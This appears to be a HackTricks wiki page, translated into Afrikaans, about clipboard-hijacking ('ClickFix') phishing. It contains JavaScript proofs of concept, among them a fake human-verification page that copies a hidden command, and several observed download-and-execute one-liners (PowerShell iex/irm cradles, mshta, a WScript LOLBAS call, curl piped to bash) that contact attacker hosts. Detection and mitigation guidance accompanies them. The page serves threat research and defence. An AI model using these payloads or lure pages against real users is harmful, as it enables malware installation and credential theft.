Clipboard Hijacking (Pastejacking) Attacks
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
“Moet nooit iets plak wat jy nie self gekopieer het nie.” – oud maar steeds geldige raad
Oorsig
Clipboard hijacking – ook bekend as pastejacking – misbruik die feit dat gebruikers routinematig opdragte kopieer-en-plak sonder om dit na te gaan. ’n Kwaadwillige webblad (of enige JavaScript-capable konteks soos ’n Electron of Desktop toepassing) plaas programmaties aanvallerbeheerde teks in die stelselklembord. Slagoffers word aangespoor, gewoonlik deur sorgvuldig opgestelde social-engineering instructions, om Win + R (Run dialog), Win + X (Quick Access / PowerShell), of ’n terminal te open en die klembordinhoud te plak, wat onmiddellik ewekansige opdragte uitvoer.
Omdat geen lêer afgelaai word en geen aanhegsel geopen word nie, omseil die tegniek die meeste e-pos en web-inhoud sekuriteitskontroles wat aanhegsels, macros of direkte opdraguitvoering monitor. Die aanval is dus gewild in phishing campaigns wat commodity malware families soos NetSupport RAT, Latrodectus loader of Lumma Stealer lewer.
Gedwonge “Copy” knoppies en hidden payloads (macOS one-liners)
Sommige macOS infostealers kloon installasiewebwerwe (bv. Homebrew) en dwing die gebruik van ’n “Copy” knoppie af sodat gebruikers nie net die sigbare teks kan uitlig nie. Die klembordinvoer bevat die verwagte installer-opdrag plus ’n aangehegte Base64 payload (bv. ...; echo <b64> | base64 -d | sh), sodat ’n enkele plak albei uitvoer terwyl die UI die ekstra stap verberg.
JavaScript Proof-of-Concept
<!-- Any user interaction (click) is enough to grant clipboard write permission in modern browsers -->
<button id="fix" onclick="copyPayload()">Fix the error</button>
<script>
function copyPayload() {
const payload = `powershell -nop -w hidden -enc <BASE64-PS1>`; // hidden PowerShell one-liner
navigator.clipboard.writeText(payload)
.then(() => alert('Now press Win+R , paste and hit Enter to fix the problem.'));
}
</script>
Ouer veldtogte het document.execCommand('copy') gebruik, nuwer verkeer steun op die asynchrone Clipboard API (navigator.clipboard.writeText).
Die ClickFix / ClearFake Vloei
- Gebruiker besoek ’n typosquatted of gekompromitteerde webwerf (bv.
docusign.sa[.]com) - Ingevoegde ClearFake JavaScript roep
unsecuredCopyToClipboard()helper aan wat stilweg ’n Base64-gekodeerde PowerShell one-liner in die clipboard stoor. - HTML-instruksies sê vir die slagoffer: “Druk Win + R, plak die opdrag en druk Enter om die probleem op te los.”
powershell.exeword uitgevoer en laai ’n argief af wat ’n regmatige uitvoerbare lêer plus ’n kwaadaardige DLL bevat (klassieke DLL sideloading).- Die loader ontsleutel bykomende stadiums, injekteer shellcode en installeer persistence (bv. geskeduleerde taak) – uiteindelik hardloop NetSupport RAT / Latrodectus / Lumma Stealer.
Voorbeeld NetSupport RAT-ketting
powershell -nop -w hidden -enc <Base64>
# ↓ Decodes to:
Invoke-WebRequest -Uri https://evil.site/f.zip -OutFile %TEMP%\f.zip ;
Expand-Archive %TEMP%\f.zip -DestinationPath %TEMP%\f ;
%TEMP%\f\jp2launcher.exe # Sideloads msvcp140.dll
jp2launcher.exe(legitieme Java WebStart) soek in sy gids namsvcp140.dll.- Die kwaadwillige DLL los API’s dinamies op met GetProcAddress, laai twee binaries (
data_3.bin,data_4.bin) af via curl.exe, ontsleutel hulle met ’n rollende XOR-sleutel “https://google.com/”, injecteer die finale shellcode en pak client32.exe (NetSupport RAT) uit naC:\ProgramData\SecurityCheck_v1\.
Latrodectus Loader
powershell -nop -enc <Base64> # Cloud Identificator: 2031
- Laai
la.txtaf met curl.exe - Voer die JScript downloader binne cscript.exe uit
- Haal ’n MSI payload af → plaas
libcef.dlllangs ’n ondertekende toepassing → DLL sideloading → shellcode → Latrodectus.
Lumma Stealer via MSHTA
mshta https://iplogger.co/xxxx =+\\xxx
Die oproep met mshta loods ’n verhulde PowerShell-skrip wat PartyContinued.exe aflaai, Boat.pst (CAB) uitpak, AutoIt3.exe herbou deur extrac32 en lêer-konsolidasie, en uiteindelik ’n .a3x-skrip uitvoer wat blaaierbewyse na sumeriavgv.digital exfiltreer.
ClickFix: Clipboard → PowerShell → JS eval → Startup LNK with rotating C2 (PureHVNC)
Sommige ClickFix-kampanjes slaan lêeraflaaie heeltemal oor en vra slagoffers om ’n one‑liner te plak wat JavaScript via WSH aflaai en uitvoer, dit persistent maak, en die C2 daagliks roteer. Voorbeeld van ’n waargenome ketting:
powershell -c "$j=$env:TEMP+'\a.js';sc $j 'a=new
ActiveXObject(\"MSXML2.XMLHTTP\");a.open(\"GET\",\"63381ba/kcilc.ellrafdlucolc//:sptth\".split(\"\").reverse().join(\"\"),0);a.send();eval(a.responseText);';wscript $j" Prеss Entеr
Belangrike eienskappe
- Versluierde URL omgekeerd tydens uitvoering om toevallige inspeksie te ontduik.
- JavaScript behou homself via Startup LNK (WScript/CScript), en kies die C2 volgens die huidige dag – wat vinnige domeinrotasie moontlik maak.
Minimale JS-fragment wat gebruik word om C2s volgens datum te roteer:
function getURL() {
var C2_domain_list = ['stathub.quest','stategiq.quest','mktblend.monster','dsgnfwd.xyz','dndhub.xyz'];
var current_datetime = new Date().getTime();
var no_days = getDaysDiff(0, current_datetime);
return 'https://'
+ getListElement(C2_domain_list, no_days)
+ '/Y/?t=' + current_datetime
+ '&v=5&p=' + encodeURIComponent(user_name + '_' + pc_name + '_' + first_infection_datetime);
}
Volgende fase ontplooi gewoonlik ’n loader wat persistentie vestig en ’n RAT (e.g., PureHVNC) aflaai, dikwels TLS aan ’n hardgekodeerde sertifikaat pen en verkeer in stukke (chunking) stuur.
Detectie-ideeë spesifiek vir hierdie variant
- Prosesboom:
explorer.exe→powershell.exe -c→wscript.exe <temp>\a.js(orcscript.exe). - Opstartartefakte: LNK in
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startupwat WScript/CScript aanroep met ’n JS-pad onder%TEMP%/%APPDATA%. - Registry/RunMRU en opdragreël-telemetrie wat
.split('').reverse().join('')ofeval(a.responseText)bevat. - Herhaalde
powershell -NoProfile -NonInteractive -Command -met groot stdin-payloads om lang skripte te voer sonder lang opdragreëls. - Geplande Take wat daarna LOLBins uitvoer soos
regsvr32 /s /i:--type=renderer "%APPDATA%\Microsoft\SystemCertificates\<name>.dll"onder ’n updater-agtige taak/pad (e.g.,\GoogleSystem\GoogleUpdater).
Dreigingsjag
- Daagliks roterende C2-hostname en URL’s met
.../Y/?t=<epoch>&v=5&p=<encoded_user_pc_firstinfection>patroon. - Korreleer knipbord-skryfgebeure gevolg deur Win+R-plak en dan onmiddellike
powershell.exe-uitvoering.
Blue-teams kan knipbord-, proses-skepping- en registertelemetrie kombineer om pastejacking-misbruik te lokaliseer:
- Windows-register:
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRUhou ’n geskiedenis van Win + R opdragte – kyk vir ongewone Base64 / obfuscated entries. - Sekuriteitsgebeurtenis-ID 4688 (Process Creation) waar
ParentImage==explorer.exeenNewProcessNamein {powershell.exe,wscript.exe,mshta.exe,curl.exe,cmd.exe}. - Gebeure-ID 4663 vir lêerskeppings onder
%LocalAppData%\Microsoft\Windows\WinX\of tydelike vouers net voor die verdagte 4688-gebeurtenis. - EDR clipboard sensors (if present) – korreleer
Clipboard Writegevolg onmiddellik deur ’n nuwe PowerShell-proses.
IUAM-style verification pages (ClickFix Generator): clipboard copy-to-console + OS-aware payloads
Onlangse veldtogte vervaardig massaal valse CDN/browser-verifikasiebladsye (“Just a moment…”, IUAM-style) wat gebruikers dwing om OS-spesifieke opdragte van hul knipbord na native konsoles te kopieer. Dit skuif uitvoering uit die blaaier-sandbox en werk oor Windows en macOS.
Sleutelkenmerke van die builder-gegenereerde bladsye
- OS-detektering via
navigator.userAgentom payloads aan te pas (Windows PowerShell/CMD vs. macOS Terminal). Opsionele afleidings/no-ops vir nie-ondersteunde OS om die illusie te handhaaf. - Outomatiese knipbord-kopie by skynbaar goedaardige UI-aksies (checkbox/Copy) terwyl die sigbare teks van die knipbordinhoud kan verskil.
- Mobiele blokkering en ’n popover met stap-vir-stap instruksies: Windows → Win+R→paste→Enter; macOS → open Terminal→paste→Enter.
- Opsionele obfuskasie en enkel-lêer-injektor om ’n gekompromitteerde site se DOM te oorskryf met ’n Tailwind-gestileerde verifikasie-UI (no new domain registration required).
Voorbeeld: knipbordverskil + OS-bewuste vertakking
<div class="space-y-2">
<label class="inline-flex items-center space-x-2">
<input id="chk" type="checkbox" class="accent-blue-600"> <span>I am human</span>
</label>
<div id="tip" class="text-xs text-gray-500">If the copy fails, click the checkbox again.</div>
</div>
<script>
const ua = navigator.userAgent;
const isWin = ua.includes('Windows');
const isMac = /Mac|Macintosh|Mac OS X/.test(ua);
const psWin = `powershell -nop -w hidden -c "iwr -useb https://example[.]com/cv.bat|iex"`;
const shMac = `nohup bash -lc 'curl -fsSL https://example[.]com/p | base64 -d | bash' >/dev/null 2>&1 &`;
const shown = 'copy this: echo ok'; // benign-looking string on screen
const real = isWin ? psWin : (isMac ? shMac : 'echo ok');
function copyReal() {
// UI shows a harmless string, but clipboard gets the real command
navigator.clipboard.writeText(real).then(()=>{
document.getElementById('tip').textContent = 'Now press Win+R (or open Terminal on macOS), paste and hit Enter.';
});
}
document.getElementById('chk').addEventListener('click', copyReal);
</script>
macOS persistensie van die aanvanklike uitvoering
- Gebruik
nohup bash -lc '<fetch | base64 -d | bash>' >/dev/null 2>&1 &sodat die uitvoering voortgaan nadat die terminal gesluit is, wat sigbare artefakte verminder.
In-plek bladsy-oornames op gekompromitteerde webwerwe
<script>
(async () => {
const html = await (await fetch('https://attacker[.]tld/clickfix.html')).text();
document.documentElement.innerHTML = html; // overwrite DOM
const s = document.createElement('script');
s.src = 'https://cdn.tailwindcss.com'; // apply Tailwind styles
document.head.appendChild(s);
})();
</script>
Opsporing- en jagidees spesifiek vir IUAM-styl lokvalle
- Web: Bladsye wat Clipboard API aan verifikasie-widgets koppel; wanpassing tussen die vertoonde teks en die clipboard payload;
navigator.userAgenttakke; Tailwind + single-page vervanging in verdagte kontekste. - Windows endpoint:
explorer.exe→powershell.exe/cmd.exekort ná ’n blaaiersinteraksie; batch/MSI-installeerders uitgevoer vanaf%TEMP%. - macOS endpoint: Terminal/iTerm wat
bash/curl/base64 -dmetnohupbegin naby blaaiergebeure; agtergrondprosesse wat voortduur nadat die terminal gesluit is. - Korreleer
RunMRUWin+R-geskiedenis en clipboard-skrywings met daaropvolgende konsolproses-skepping.
Sien ook vir ondersteunende tegnieke
2026 fake CAPTCHA / ClickFix evolusies (ClearFake, Scarlet Goldfinch)
- ClearFake bly WordPress-webwerwe kompromitteer en injecteer loader JavaScript wat eksterne hosts ketting (Cloudflare Workers, GitHub/jsDelivr) en selfs blockchain “etherhiding” oproepe (bv., POSTs na Binance Smart Chain API-endpunte soos
bsc-testnet.drpc[.]org) gebruik om huidige lokval-logika te haal. Onlangse overlays gebruik swaar fake CAPTCHAs wat gebruikers opdrag gee om ’n eenreël te kopieer/plak (T1204.004) in plaas van iets af te laai. - Aanvanklike uitvoering word toenemend gedelegeer aan signed script hosts/LOLBAS. Januarie 2026-kettings het vroeëre
mshtagebruik verruil vir die ingeboudeSyncAppvPublishingServer.vbsuitgevoer viaWScript.exe, wat PowerShell-agtige argumente met aliase/wildcards deurgee om remote content te haal:
"C:\WINDOWS\System32\WScript.exe" "C:\WINDOWS\system32\SyncAppvPublishingServer.vbs" "n;&(gal i*x)(&(gcm *stM*) 'cdn.jsdelivr[.]net/gh/grading-chatter-dock73/vigilant-bucket-gui/p1lot')"
SyncAppvPublishingServer.vbsis gesigneer en word normaalweg deur App-V gebruik; gepaard metWScript.exeen ongewone argumente (gal/gcmaliases, wildcarded cmdlets, jsDelivr URLs) word dit ’n hoë-sein LOLBAS-fase vir ClearFake.- Februarie 2026 se valse CAPTCHA payloads het teruggeskuif na puur PowerShell download cradles. Twee regstreekse voorbeelde:
"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -c iex(irm 158.94.209[.]33 -UseBasicParsing)
"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w h -c "$w=New-Object -ComObject WinHttp.WinHttpRequest.5.1;$w.Open('GET','https[:]//cdn[.]jsdelivr[.]net/gh/www1day7/msdn/fase32',0);$w.Send();$f=$env:TEMP+'\FVL.ps1';$w.ResponseText>$f;powershell -w h -ep bypass -f $f"
- Eerste ketting is ’n in-geheue
iex(irm ...)grabber; die tweede stage viaWinHttp.WinHttpRequest.5.1, skryf ’n tydelike.ps1, en begin dit met-ep bypassin ’n versteekte venster.
Opsporing/jagwenke vir hierdie variante
- Proseslyn: browser →
explorer.exe→wscript.exe ...SyncAppvPublishingServer.vbsof PowerShell cradles onmiddellik na clipboard-skryf/Win+R. - Opdragreël sleutelwoorde:
SyncAppvPublishingServer.vbs,WinHttp.WinHttpRequest.5.1,-UseBasicParsing,%TEMP%\FVL.ps1, jsDelivr/GitHub/Cloudflare Worker domains, or raw IPiex(irm ...)patterns. - Netwerk: uitgaande verbindings na CDN worker hosts of blockchain RPC-endpunte vanaf skrip-hosts/PowerShell kort ná webblaai.
- File/registry: tydelike
.ps1skepping onder%TEMP%plus RunMRU-inskrywings wat hierdie one-liners bevat; blokkeer/waarsku op signed-script LOLBAS (WScript/cscript/mshta) wat met eksterne URL’s of geobfuskeerde alias-strings uitgevoer word.
Mitigasies
- Blaaierverharding – skakel clipboard-skriftoegang (
dom.events.asyncClipboard.clipboardItemetc.) af of vereis ’n gebruikersgebaar. - Sekuriteitsbewustheid – leer gebruikers om tik sensitiewe opdragte of eers in ’n teksredigeerder te plak.
- PowerShell Constrained Language Mode / Execution Policy + Application Control om arbitraire one-liners te blokkeer.
- Netwerkbeheer – blokkeer uitgaande versoeke na bekende pastejacking en malware C2-domeine.
Verwante Tricks
- Discord Invite Hijacking misbruik dikwels dieselfde ClickFix-benadering nadat gebruikers na ’n kwaadwillige bediener gelok is:
Verwysings
- Fix the Click: Preventing the ClickFix Attack Vector
- Pastejacking PoC – GitHub
- Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder
- The ClickFix Factory: First Exposure of IUAM ClickFix Generator
- 2025, the year of the Infostealer
- Red Canary – Intelligence Insights: February 2026
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


